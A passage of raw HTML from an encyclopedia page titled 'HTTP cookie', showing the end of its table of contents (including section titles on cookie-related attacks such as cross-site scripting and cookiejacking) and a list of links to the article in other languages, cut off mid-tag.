class="vector-toc-text"> <span class="vector-toc-numb">9.2</span> <span>Publishing false sub-domain: DNS cache poisoning</span> </div> </a> <ul id="toc-Publishing_false_sub-domain:_DNS_cache_poisoning-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Cross-site_scripting:_cookie_theft" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Cross-site_scripting:_cookie_theft"> <div class="vector-toc-text"> <span class="vector-toc-numb">9.3</span> <span>Cross-site scripting: cookie theft</span> </div> </a> <ul id="toc-Cross-site_scripting:_cookie_theft-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Cross-site_scripting:_proxy_request" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Cross-site_scripting:_proxy_request"> <div class="vector-toc-text"> <span class="vector-toc-numb">9.4</span> <span>Cross-site scripting: proxy request</span> </div> </a> <ul id="toc-Cross-site_scripting:_proxy_request-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Cross-site_request_forgery" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Cross-site_request_forgery"> <div class="vector-toc-text"> <span class="vector-toc-numb">9.5</span> <span>Cross-site request forgery</span> </div> </a> <ul id="toc-Cross-site_request_forgery-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Cookiejacking" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Cookiejacking"> <div class="vector-toc-text"> <span class="vector-toc-numb">9.6</span> <span>Cookiejacking</span> </div> </a> <ul id="toc-Cookiejacking-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> <li id="toc-Drawbacks_of_cookies" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Drawbacks_of_cookies"> <div class="vector-toc-text"> <span class="vector-toc-numb">10</span> <span>Drawbacks of cookies</span> </div> </a> <button aria-controls="toc-Drawbacks_of_cookies-sublist" class="cdx-button cdx-button--weight-quiet cdx-button--icon-only vector-toc-toggle"> <span class="vector-icon mw-ui-icon-wikimedia-expand"></span> <span>Toggle Drawbacks of cookies subsection</span> </button> <ul id="toc-Drawbacks_of_cookies-sublist" class="vector-toc-list"> <li id="toc-Inaccurate_identification" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Inaccurate_identification"> <div class="vector-toc-text"> <span class="vector-toc-numb">10.1</span> <span>Inaccurate identification</span> </div> </a> <ul id="toc-Inaccurate_identification-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> <li id="toc-Alternatives_to_cookies" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Alternatives_to_cookies"> <div class="vector-toc-text"> <span class="vector-toc-numb">11</span> <span>Alternatives to cookies</span> </div> </a> <button aria-controls="toc-Alternatives_to_cookies-sublist" class="cdx-button cdx-button--weight-quiet cdx-button--icon-only vector-toc-toggle"> <span class="vector-icon mw-ui-icon-wikimedia-expand"></span> <span>Toggle Alternatives to cookies subsection</span> </button> <ul id="toc-Alternatives_to_cookies-sublist" class="vector-toc-list"> <li id="toc-Authentication_and_session_management" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Authentication_and_session_management"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.1</span> <span>Authentication and session management</span> </div> </a> <ul id="toc-Authentication_and_session_management-sublist" class="vector-toc-list"> <li id="toc-JSON_Web_Tokens" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#JSON_Web_Tokens"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.1.1</span> <span>JSON Web Tokens</span> </div> </a> <ul id="toc-JSON_Web_Tokens-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-HTTP_authentication" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#HTTP_authentication"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.1.2</span> <span>HTTP authentication</span> </div> </a> <ul id="toc-HTTP_authentication-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-URL_(query_string)" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#URL_(query_string)"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.1.3</span> <span>URL (query string)</span> </div> </a> <ul id="toc-URL_(query_string)-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Hidden_form_fields" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#Hidden_form_fields"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.1.4</span> <span>Hidden form fields</span> </div> </a> <ul id="toc-Hidden_form_fields-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-window.name_DOM_property" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#window.name_DOM_property"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.1.5</span> <span>window.name DOM property</span> </div> </a> <ul id="toc-window.name_DOM_property-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> <li id="toc-Tracking_2" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Tracking_2"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.2</span> <span>Tracking</span> </div> </a> <ul id="toc-Tracking_2-sublist" class="vector-toc-list"> <li id="toc-IP_address" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#IP_address"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.2.1</span> <span>IP address</span> </div> </a> <ul id="toc-IP_address-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-ETag" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#ETag"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.2.2</span> <span>ETag</span> </div> </a> <ul id="toc-ETag-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Browser_cache" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#Browser_cache"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.2.3</span> <span>Browser cache</span> </div> </a> <ul id="toc-Browser_cache-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Browser_fingerprint" class="vector-toc-list-item vector-toc-level-3"> <a class="vector-toc-link" href="#Browser_fingerprint"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.2.4</span> <span>Browser fingerprint</span> </div> </a> <ul id="toc-Browser_fingerprint-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> <li id="toc-Web_storage" class="vector-toc-list-item vector-toc-level-2"> <a class="vector-toc-link" href="#Web_storage"> <div class="vector-toc-text"> <span class="vector-toc-numb">11.3</span> <span>Web storage</span> </div> </a> <ul id="toc-Web_storage-sublist" class="vector-toc-list"> </ul> </li> </ul> </li> <li id="toc-See_also" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#See_also"> <div class="vector-toc-text"> <span class="vector-toc-numb">12</span> <span>See also</span> </div> </a> <ul id="toc-See_also-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-References" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#References"> <div class="vector-toc-text"> <span class="vector-toc-numb">13</span> <span>References</span> </div> </a> <ul id="toc-References-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-Sources" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#Sources"> <div class="vector-toc-text"> <span class="vector-toc-numb">14</span> <span>Sources</span> </div> </a> <ul id="toc-Sources-sublist" class="vector-toc-list"> </ul> </li> <li id="toc-External_links" class="vector-toc-list-item vector-toc-level-1"> <a class="vector-toc-link" href="#External_links"> <div class="vector-toc-text"> <span class="vector-toc-numb">15</span> <span>External links</span> </div> </a> <ul id="toc-External_links-sublist" class="vector-toc-list"> </ul> </li> </ul> </div> </div> </nav> </div> </div> <div class="mw-content-container"> <main id="content" class="mw-body"> <header class="mw-body-header vector-page-titlebar"> <nav aria-label="Contents" class="vector-toc-landmark"> <div id="vector-page-titlebar-toc" class="vector-dropdown vector-page-titlebar-toc vector-button-flush-left" > <input type="checkbox" id="vector-page-titlebar-toc-checkbox" role="button" aria-haspopup="true" data-event-name="ui.dropdown-vector-page-titlebar-toc" class="vector-dropdown-checkbox " aria-label="Toggle the table of contents" > <label id="vector-page-titlebar-toc-label" for="vector-page-titlebar-toc-checkbox" class="vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--icon-only " aria-hidden="true" ><span class="vector-icon mw-ui-icon-listBullet mw-ui-icon-wikimedia-listBullet"></span> <span class="vector-dropdown-label-text">Toggle the table of contents</span> </label> <div class="vector-dropdown-content"> <div id="vector-page-titlebar-toc-unpinned-container" class="vector-unpinned-container"> </div> </div> </div> </nav> <h1 id="firstHeading" class="firstHeading mw-first-heading"><span class="mw-page-title-main">HTTP cookie</span></h1> <div id="p-lang-btn" class="vector-dropdown mw-portlet mw-portlet-lang" > <input type="checkbox" id="p-lang-btn-checkbox" role="button" aria-haspopup="true" data-event-name="ui.dropdown-p-lang-btn" class="vector-dropdown-checkbox mw-interlanguage-selector" aria-label="Go to an article in another language. Available in 62 languages" > <label id="p-lang-btn-label" for="p-lang-btn-checkbox" class="vector-dropdown-label cdx-button cdx-button--fake-button cdx-button--fake-button--enabled cdx-button--weight-quiet cdx-button--action-progressive mw-portlet-lang-heading-62" aria-hidden="true" ><span class="vector-icon mw-ui-icon-language-progressive mw-ui-icon-wikimedia-language-progressive"></span> <span class="vector-dropdown-label-text">62 languages</span> </label> <div class="vector-dropdown-content"> <div class="vector-menu-content"> <ul class="vector-menu-content-list"> <li class="interlanguage-link interwiki-af mw-list-item"><a href="https://af.wikipedia.org/wiki/Koekie_(rekenaarwetenskap)" title="Koekie (rekenaarwetenskap) – Afrikaans" lang="af" hreflang="af" data-title="Koekie (rekenaarwetenskap)" data-language-autonym="Afrikaans" data-language-local-name="Afrikaans" class="interlanguage-link-target"><span>Afrikaans</span></a></li><li class="interlanguage-link interwiki-ar mw-list-item"><a href="https://ar.wikipedia.org/wiki/%D9%85%D9%84%D9%81_%D8%AA%D8%B9%D8%B1%D9%8A%D9%81_%D8%A7%D8%B1%D8%AA%D8%A8%D8%A7%D8%B7" title="ملف تعريف ارتباط – Arabic" lang="ar" hreflang="ar" data-title="ملف تعريف ارتباط" data-language-autonym="العربية" data-language-local-name="Arabic" class="interlanguage-link-target"><span>العربية</span></a></li><li class="interlanguage-link interwiki-az mw-list-item"><a href="https://az.wikipedia.org/wiki/Kuki_(internet)" title="Kuki (internet) – Azerbaijani" lang="az" hreflang="az" data-title="Kuki (internet)" data-language-autonym="Azərbaycanca" data-language-local-name="Azerbaijani" class="interlanguage-link-target"><span>Azərbaycanca</span></a></li><li class="interlanguage-link interwiki-ban mw-list-item"><a href="https://ban.wikipedia.org/wiki/Kuki_HTTP" title="Kuki HTTP – Balinese" lang="ban" hreflang="ban" data-title="Kuki HTTP" data-language-autonym="Basa Bali" data-language-local-name="Balinese" class="interlanguage-link-target"><span>Basa Bali</span></a></li><li class="interlanguage-link interwiki-be-x-old mw-list-item"><a href="https://be-tarask.wikipedia.org/wiki/%D0%9C%D0%B0%D1%80%D0%BA%D1%91%D1%80" title="Маркёр – Belarusian (Taraškievica orthography)" lang="be-tarask" hreflang="be-tarask" data-title="Маркёр" data-language-autonym="Беларуская (тарашкевіца)" data-language-local-name="Belarusian (Taraškievica orthography)" class="interlanguage-link-target"><span>Беларуская (тарашкевіца)</span></a></li><li class="interlanguage-link interwiki-bh mw-list-item"><a href="https://bh.wikipedia.org/wiki/%E0%A4%8F%E0%A4%9A%E0%A4%9F%E0%A5%80%E0%A4%9F%E0%A5%80%E0%A4%AA%E0%A5%80_%E0%A4%95%E0%A5%81%E0%A4%95%E0%A5%80" title="एचटीटीपी कुकी – Bhojpuri" lang="bh" hreflang="bh" data-title="एचटीटीपी कुकी" data-language-autonym="भोजपुरी" data-language-local-name="Bhojpuri" class="interlanguage-link-target"><span>भोजपुरी</span></a></li><li class="interlanguage-link interwiki-bg mw-list-item"><a href="https://bg.wikipedia.org/wiki/HTTP_%D0%B1%D0%B8%D1%81%D0%BA%D0%B2%D0%B8%D1%82%D0%BA%D0%B0" title="HTTP бисквитка – Bulgarian" lang="bg" hreflang="bg" data-title="HTTP бисквитка" data-language-autonym="Български" data-language-local-name="Bulgarian" class="interlanguage-link-target"><span>Български</span></a></li><li class="interlanguage-link interwiki-ca mw-list-item"><a href="https://ca.wikipedia.org/wiki/Galeta_(inform%C3%A0tica)" title="Galeta (informàtica) – Catalan" lang="ca" hreflang="ca" data-title="Galeta (informàtica)" data-language-autonym="Català" data-language-local-name="Catalan" class="interlanguage-link-target"><span>Català</span></a></li><li class="interlanguage-link interwiki-cs mw-list-item"><a href="https://cs.wikipedia.org/wiki/HTTP_cookie" title="HTTP cookie – Czech" lang="cs" hreflang="cs" data-title="HTTP cookie" data-language-autonym="Čeština" data-language-local-name="Czech" class="interlanguage-link-target"><span>Čeština</span></a></li><li class="interlanguage-link interwiki-da mw-list-item"><a href="https://da.wikipedia.org/wiki/Cookie" title="Cookie – Danish" lang="da" hreflang="da" data-title="Cookie" data-language-autonym="Dansk" data-language-local-name="Danish" class="interlanguage-link-target"><span>Dansk</span></a></li><li class="interlanguage-link interwiki-de mw-list-item"><a href="https://de.wikipedia.org/wiki/HTTP-Cookie" title="HTTP-Cookie – German" lang="de" hreflang="de" data-title="HTTP-Cookie" data-language-autonym="Deutsch" data-language-local-name="German" class="interlanguage-link-target"><span>Deutsch</span></a></li><li class="interlanguage-link interwiki-et mw-list-item"><a href="https://et.wikipedia.org/wiki/HTTP-k%C3%BCpsis" title="HTTP-küpsis – Estonian" lang="et" hreflang="et" data-title="HTTP-küpsis" data-language-autonym="Eesti" data-language-local-name="Estonian" class="interlanguage-link-target"><span>Eesti</span></a></li><li class="interlanguage-link interwiki-el mw-list-item"><a href="https://el.wikipedia.org/wiki/HTTP_cookies" title="HTTP cookies – Greek" lang="el" hreflang="el" data-title="HTTP cookies" data-language-autonym="Ελληνικά" data-language-local-name="Greek" class="interlanguage-link-target"><span>Ελληνικά</span></a></li><li class="interlanguage-link interwiki-es mw-list-item"><a href="https://es.wikipedia.org/wiki/Cookie_(inform%C3%A1tica)" title="Cookie (informática) – Spanish" lang="es" hreflang="es" data-title="Cookie (informática)" data-language-autonym="Español" data-language-local-name="Spanish" class="interlanguage-link-target"><span>Español</span></a></li><li class="interlanguage-link interwiki-eo mw-list-item"><a href="https://eo.wikipedia.org/wiki/Kuketo" title="Kuketo – Esperanto" lang="eo" hreflang="eo" data-title="Kuketo" data-language-autonym="Esperanto" data-language-local-name="Esperanto" class="interlanguage-link-target"><span>Esperanto</span></a></li><li class="interlanguage-link interwiki-eu mw-list-item"><a href="https://eu.wikipedia.org/wiki/Cookie" title="Cookie – Basque" lang="eu" hreflang="eu" data-title="Cookie" data-language-autonym="Euskara" data-language-local-name="Basque" class="interlanguage-link-target"><span>Euskara</span></a></li><li class="interlanguage-link interwiki-fa mw-list-item"><a href="https://fa.wikipedia.org/wiki/%DA%A9%D9%88%DA%A9%DB%8C_%D8%A7%DA%86%E2%80%8C%D8%AA%DB%8C%E2%80%8C%D8%AA%DB%8C%E2%80%8C%D9%BE%DB%8C" title="کوکی اچ‌تی‌تی‌پی – Persian" lang="fa" hreflang="fa" data-title="کوکی اچ‌تی‌تی‌پی" data-language-autonym="فارسی" data-language-local-name="Persian" class="interlanguage-link-target"><span>فارسی</span></a></li><li class="interlanguage-link interwiki-fr mw-list-item"><a href="https://fr.wikipedia.org/wiki/Cookie_(informatique)" title="Cookie (informatique) – French" lang="fr" hreflang="fr" data-title="Cookie (informatique)" data-language-autonym="Français" data-language-local-name="French" class="interlanguage-link-target"><span>Français</span></a></li><li class="interlanguage-link interwiki-gl mw-list-item"><a href="https://gl.wikipedia.org/wiki/Rastro" title="Rastro – Galician" lang="gl" hreflang="gl" data-title="Rastro" data-language-autonym="Galego" data-language-local-name="Galician" class="interlanguage-link-target"><span>Galego</span></a></li><li class="interlanguage-link interwiki-ko mw-list-item"><a href="https://ko.wikipedia.org/wiki/HTTP_%EC%BF%A0%ED%82%A4" title="HTTP 쿠키 – Korean" lang="ko" hreflang="ko" data-title="HTTP 쿠키" data-language-autonym="한국어" data-language-local-name="Korean" class="interlanguage-link-target"><span>한국어</span></a></li><li class="interlanguage-link interwiki-hi mw-list-item"><a href="https://hi.wikipedia.org/wiki/%E0%A4%8F%E0%A4%9A%E0%A4%9F%E0%A5%80%E0%A4%9F%E0%A5%80%E0%A4%AA%E0%A5%80_%E0%A4%95%E0%A5%81%E0%A4%95%E0%A5%80" title="एचटीटीपी कुकी – Hindi" lang="hi" hreflang="hi" data-title="एचटीटीपी कुकी" data-language-autonym="हिन्दी" data-language-local-name="Hindi" class="interlanguage-link-target"><span>हिन्दी</span></a></li><li class="interlanguage-link interwiki-hr mw-list-item"><a href="https://hr.wikipedia.org/wiki/Kola%C4%8Di%C4%87_(ra%C4%8Dunarstvo)" title="Kolačić (računarstvo) – Croatian" lang="hr" hreflang="hr" data-title="Kolačić (računarstvo)" data-language-autonym="Hrvatski" data-language-local-name="Croatian" class="interlanguage-link-target"><span>Hrvatski</span></a></li><li class="interlanguage-link interwiki-id mw-list-item"><a href="https://id.wikipedia.org/wiki/Kuki" title="Kuki – Indonesian" lang="id" hreflang="id" data-title="Kuki" data-language-autonym="Bahasa Indonesia" data-language-local-name="Indonesian" class="interlanguage-link-target"><span>Bahasa Indonesia</span></a></li><li class="interlanguage-link interwiki-is mw-list-item"><a href="https://is.wikipedia.org/wiki/Vafrakaka" title="Vafrakaka – Icelandic" lang="is" hreflang="is" data-title="Vafrakaka" data-language-autonym="Íslenska" data-language-local-name="Icelandic" class="interlanguage-link-target"><span>Íslenska</span></a></li><li class="interlanguage-link interwiki-it mw-list-item"><a href="https://it.wikipedia.org/wiki/Cookie" title="Cookie – Italian" lang="it" hreflang="it" data-title="Cookie" data-language-autonym="Italiano" data-language-local-name="Italian" class="interlanguage-link-target"><span>Italiano</span></a></li><li class="interlanguage-link interwiki-he mw-list-item"><a href="https://he.wikipedia.org/wiki/%D7%A2%D7%95%D7%92%D7%99%D7%99%D7%94_(%D7%90%D7%99%D7%A0%D7%98%D7%A8%D7%A0%D7%98)" title="עוגייה (אינטרנט) – Hebrew" lang="he" hreflang="he" data-title="עוגייה (אינטרנט)" data-language-autonym="עברית" data-language-local-name="Hebrew" class="interlanguage-link-target"><span>עברית</span></a></li><li class="interlanguage-link interwiki-sw mw-list-item"><a href="https://sw.wikipedia.org/wiki/Kuki" title="Kuki – Swahili" lang="sw" hreflang="sw" data-title="Kuki" data-language-autonym="Kiswahili" data-language-local-name="Swahili" class="interlanguage-link-target"><span>Kiswahili</span></a></li><li class="interlanguage-link interwiki-ky mw-list-item"><a href="https://ky.wikipedia.org/wiki/Cookie" title="Cookie – Kyrgyz" lang="ky" hreflang="ky" data-title="Cookie" data-language-autonym="Кыргызча" data-language-local-name="Kyrgyz" class="interlanguage-link-target"><span>Кыргызча</span></a></li><li class="interlanguage-link interwiki-lv mw-list-item"><a href="https://lv.wikipedia.org/wiki/S%C4%ABkdatne" title="Sīkdatne – Latvian" lang="lv" hreflang="lv" data-title="Sīkdatne" data-language-autonym="Latviešu" data-language-local-name="Latvian" class="interlanguage-link-target"><span>Latviešu</span></a></li><li class="interlanguage-link interwiki-lt mw-list-item"><a href="https://lt.wikipedia.org/wiki/Slapukas" title="Slapukas – Lithuanian" lang="lt" hreflang="lt" data-title="Slapukas" data-language-autonym="Lietuvių" data-language-local-name="Lithuanian" class="interlanguage-link-target"><span>Lietuvių</span></a></li><li class="interlanguage-link interwiki-li mw-list-item"><a href="https://li.wikipedia.org/wiki/Cookie" title="Cookie – Limburgish" lang="li" hreflang="li" data-title="Cookie" data-language-autonym="Limburgs" data-language-local-name="Limburgish" class="interlanguage-link-target"><span>Limburgs</span></a></li><li class="interlanguage-link interwiki-lmo mw-list-item"><a href="https://lmo.wikipedia.org/wiki/Biscott_(Scenza_di_urdinaduur)" title="Biscott (Scenza di urdinaduur) – Lombard" lang="lmo" hreflang="lmo" data-title="Biscott (Scenza di urdinaduur)" data-language-autonym="Lombard" data-language-local-name="Lombard" class="interlanguage-link-target"><span>Lombard</span></a></li><li class="interlanguage-link interwiki-hu mw-list-item"><a href="https://hu.wikipedia.org/wiki/HTTP-s%C3%BCti" title="HTTP-süti – Hungarian" lang="hu" hreflang="hu" data-title="HTTP-süti" data-language-autonym="Magyar" data-language-local-name="Hungarian" class="interlanguage-link-target"><span>Magyar</span></a></li><li class="interlanguage-link interwiki-ml mw-list-item"><a href="https://ml.wikipedia.org/wiki/%E0%B4%8E%E0%B4%9A%E0%B5%8D%E0%B4%9A%E0%B5%8D.%E0%B4%9F%E0%B4%BF.%E0%B4%9F%E0%B4%BF.%E0%B4%AA%E0%B4%BF._%E0%B4%95%E0%B5%81%E0%B4%95%E0%B5%8D%E0%B4%95%E0%B4%BF" title="എച്ച്.ടി.ടി.പി. കുക്കി – Malayalam" lang="ml" hreflang="ml" data-title="എച്ച്.ടി.ടി.പി. കുക്കി" data-language-autonym="മലയാളം" data-language-local-name="Malayalam" class="interlanguage-link-target"><span>മലയാളം</span></a></li><li class="interlanguage-link interwiki-ms mw-list-item"><a href="https://ms.wikipedia.org/wiki/Kuki_HTTP" title="Kuki HTTP – Malay" lang="ms" hreflang="ms" data-title="Kuki HTTP" data-language-autonym="Bahasa Melayu" data-language-local-name="Malay" class="interlanguage-link-target"><span>Bahasa Melayu</span></a></li><li class="interlanguage-link interwiki-mn mw-list-item"><a href="https://mn.wikipedia.org/wiki/HTTP_cookie" title="HTTP cookie – Mongolian" lang="mn" hreflang="mn" data-title="HTTP cookie" data-language-autonym="Монгол" data-language-local-name="Mongolian" class="interlanguage-link-target"><span>Монгол</span></a></li><li class="interlanguage-link interwiki-my mw-list-item"><a href="https://my.wikipedia.org/wiki/HTTP_cookie" title="HTTP cookie – Burmese" lang="my" hreflang="my" data-title="HTTP cookie" data-language-autonym="မြန်မာဘာသာ" data-language-local-name="Burmese" class="interlanguage-link-target"><span>မြန်မာဘာသာ</span></a></li><li class="interlanguage-link interwiki-nl mw-list-item"><a href="https://nl.wikipedia.org/wiki/Cookie_(internet)" title="Cookie (internet) – Dutch" lang="nl" hreflang="nl" data-title="Cookie (internet)" data-language-autonym="Nederlands" data-language-local-name="Dutch" class="interlanguage-link-target"><span>Nederlands</span></a></li><li class="interlanguage-link interwiki-nds-nl mw-list-item"><a href="https://nds-nl.wikipedia.org/wiki/Koekien_(internet)" title="Koekien (internet) – Low Saxon" lang="nds-NL" hreflang="nds-NL" data-title="Koekien (internet)" data-language-autonym="Nedersaksies" data-language-local-name="Low Saxon" class="interlanguage-link-target"><span>Nedersaksies</span></a></li><li class="interlanguage-link interwiki-ja mw-list-item"><a href="https://ja.wikipedia.org/wiki/HTTP_cookie" title="HTTP cookie – Japanese" lang="ja" hreflang="ja" data-title="HTTP cookie" data-language-autonym="日本語" data-language-local-name="Japanese" class="interlanguage-link-target"><span>日本語</span></a></li><li class="interlanguage-link interwiki-no mw-list-item"><a href="https://no.wikipedia.org/wiki/Informasjonskapsel" title="Informasjonskapsel – Norwegian Bokmål" lang="nb" hreflang="nb" data-title="Informasjonskapsel" data-language-autonym="Norsk bokmål" data-language-local-name="Norwegian Bokmål" class="interlanguage-link-target"><span>Norsk bokmål</span></a></li><li class="interlanguage-link interwiki-nn mw-list-item"><a href="https://nn.wikipedia.org/wiki/Informasjonskapsel" title="Informasjonskapsel – Norwegian Nynorsk" lang="nn" hreflang="nn" data-title="Informasjonskapsel" data-language-autonym="Norsk nynorsk" data-language-local-name="Norwegian Nynorsk" class="interlanguage-link-target"><span>Norsk nynorsk</span></a></li><li class="interlanguage-link interwiki-pl mw-list-item"><a href="https://pl.wikipedia.org/wiki/HTTP_cookie" title="HTTP cookie – Polish" lang="pl" hreflang="pl" data-title="HTTP cookie" data-language-autonym="Polski" data-language-local-name="Polish" class="interlanguage-link-target"><span>Polski</span></a></li><li class="interlanguage-link interwiki-pt mw-list-item"><a href="https://pt.wikipedia.org/wiki/Cookie_(inform%C3%A1tica)" title="Cookie (informática) – Portuguese" lang="pt" hreflang="pt" data-title="Cookie (informática)" data-language-autonym="Português" data-language-local-name="Portuguese" class="interlanguage-link-target"><span>Português</span></a></li><li class="interlanguage-link interwiki-ro mw-list-item"><a href="https://ro.wikipedia.org/wiki/Cookie" title="Cookie – Romanian" lang="ro" hreflang="ro" data-title="Cookie" data-language-autonym="Română" data-language-local-name="Romanian" class="interlanguage-link-target"><span>Română</span></a></li><li class="interlanguage-link interwiki-ru mw-list-item"><a href="https://ru.wikipedia.org/wiki/Cookie" title="Cookie – Russian" lang="ru" hreflang="ru" data-title="Cookie" data-language-autonym="Русский" data-language-local-name="Russian" class="interlanguage-link-target"><span>Русский</span></a></li><li class="interlanguage-link interwiki-sq mw-list-item"><a href="https://sq.wikipedia.org/wiki/Cookie_(internet)" title="Cookie (internet) – Albanian" lang="sq" hreflang="sq" data-title="Cookie (internet)" data-language-autonym="Shqip" data-language-local-name="Albanian" class="interlanguage-link-target"><span>Shqip</span></a></li><li class="interlanguage-link interwiki-simple mw-list-item"><a href="https://simple.wikipedia.org/wiki/HTTP_cookie" title="HTTP cookie – Simple English" lang="en-simple" hreflang="en-simple" data-title="HTTP cookie" data-language-autonym="Simple English" data-language-local-name="Simple English" class="interlanguage-link-target"><span>Simple English</span></a></li><li class="interlanguage-link interwiki-sk mw-list-item"><a href="https://sk.wikipedia.org/wiki/HTTP_cookie" title="HTTP cookie – Slovak" lang="sk" hreflang="sk" data-title="HTTP cookie" data-language-autonym="Slovenčina" data-language-local-name="Slovak" class="interlanguage-link-target"><span>Slovenčina</span></a></li><li class="interlanguage-link interwiki-sl mw-list-item"><a href="https://sl.wikipedia.org/wiki/Pi%C5%A1kotek" title="Piškotek – Slovenian" lang="sl" hreflang="sl" data-title="Piškotek" data-language-autonym="Slovenščina" data-language-local-name="Slovenian" class="interlanguage-link-target"><span>Slovenščina</span></a></li><li class="interlanguage-link interwiki-sr mw-list-item"><a href="https://sr.wikipedia.org/wiki/HTTP_kola%C4%8Di%C4%87" title="HTTP kolačić – Serbian" lang="sr" hreflang="sr" data-title="HTTP kolačić" data-language-autonym="Српски / srpski" data-language-local-name="Serbian" class="interlanguage-link-target"><span>Српски / srpski</span></a></li><li class="interlanguage-link interwiki-sh mw-list-item"><a href="https://sh.wikipedia.org/wiki/Cookie" title="Cookie – Serbo-Croatian" lang="sh" hreflang="sh" data-title="Cookie" data-language-autonym="Srpskohrvatski / српскохрватски" data-language-local-name="Serbo-Croatian" class="interlanguage-link-target"><span>Srpskohrvatski / српскохрватски</span></a></li><li class="interlanguage-link interwiki-fi mw-list-item"><a href="https://fi.wikipedia.org/wiki/Ev%C3%A4ste" title="Eväste – Finnish" lang="fi" hreflang="fi" data-title="Eväste" data-language-autonym="Suomi" data-language-local-name="Finnish" class="interlanguage-link-target"><span>Suomi</span></a></li><li class="interlanguage-link interwiki-sv mw-list-item"><a href="https://sv.wikipedia.org/wiki/Webbkaka" title="Webbkaka – Swedish" lang="sv" hreflang="sv" data-title="Webbkaka" data-language-autonym="Svenska" data-language-local-name="Swedish" class="interlanguage-link-target"><span>Svenska</span></a></li><li class="interlanguage-link interwiki-th mw-list-item"><a href="https://th.wikipedia.org/wiki/%E0%B9%80%E0%B8%AD%E0%B8%8A%E0%B8%97%E0%B8%B5%E0%B8%97%E0%B8%B5%E0%B8%9E%E0%B8%B5%E0%B8%84%E0%B8%B8%E0%B8%81%E0%B8%81%E0%B8%B5%E0%B9%89" title="เอชทีทีพีคุกกี้ – Thai" lang="th" hreflang="th" data-title="เอชทีทีพีคุกกี้" data-language-autonym="ไทย" data-language-local-name="Thai" class="interlanguage-link-target"><span>ไทย</span></a></li><li class="interlanguage-link interwiki-tr mw-list-item"><a href="https://tr.wikipedia.org/wiki/%C3%87erez_(%C4%B0nternet)" title="Çerez (İnternet) – Turkish" lang="tr" hreflang="tr" data-title="Çerez (İnternet)" data-language-autonym="Türkçe" data-language-local-name="Turkish" class="interlanguage-link-target"><span>Türkçe</span></a></li><li class="interlanguage-link interwiki-uk mw-list-item"><a href="https://uk.wikipedia.org/wiki/%D0%9A%D1%83%D0%BA%D1%96_(%D1%96%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82)" title="Кукі (інтернет) – Ukrainian" lang="uk" hreflang="uk" data-title="Кукі (інтернет)" data-language-autonym="Українська" data-language-local-name="Ukrainian" class="interlanguage-link-target"><span>Українська</span></a></li><li class="interlanguage-link interwiki-vi mw-list-item"><a href="https://vi.wikipedia.org/wiki/Cookie_(tin_h%E1%BB%8Dc)" title="Cookie (tin học) – Vietnamese" lang="vi" hreflang="vi" data-title="Cookie (tin học)" data-language-autonym="Tiếng Việt" data-language-local-name="Vietnamese" class="interlanguage-link-target"><span>Tiếng Việt</span></a></li><li class="interlanguage-link interwiki-wuu mw-list-item"><a href="https://wuu.wikipedia.org/wiki/Cookie" title="Cookie – Wu" lang="wuu" hreflang="wuu" data-title="Cookie" data-language-autonym="吴语" data-language-local-name="Wu" class="interlanguage-link-target"><span>吴语</span></a></li><li class="interlanguage-link interwiki-yi mw-list-item"><a href="https://yi.wikipedia.org/wiki/%D7%A7%D7%95%D7%A7%D7%99" title="קוקי – Yiddish" lang="yi" hreflang="yi" data-title="קוקי" data-language-autonym="ייִדיש" data-language-local-name="Yiddish" class="interlanguage-link-target"><span>ייִדיש</span></a></li><li class="interlanguage-link interwiki-zh-yue mw-list-item"><a href="https://zh-yue.wikipedia.org/wiki/HTTP_cookie" title="HTTP cookie – Cantonese" lang="yue" hreflang="yue" 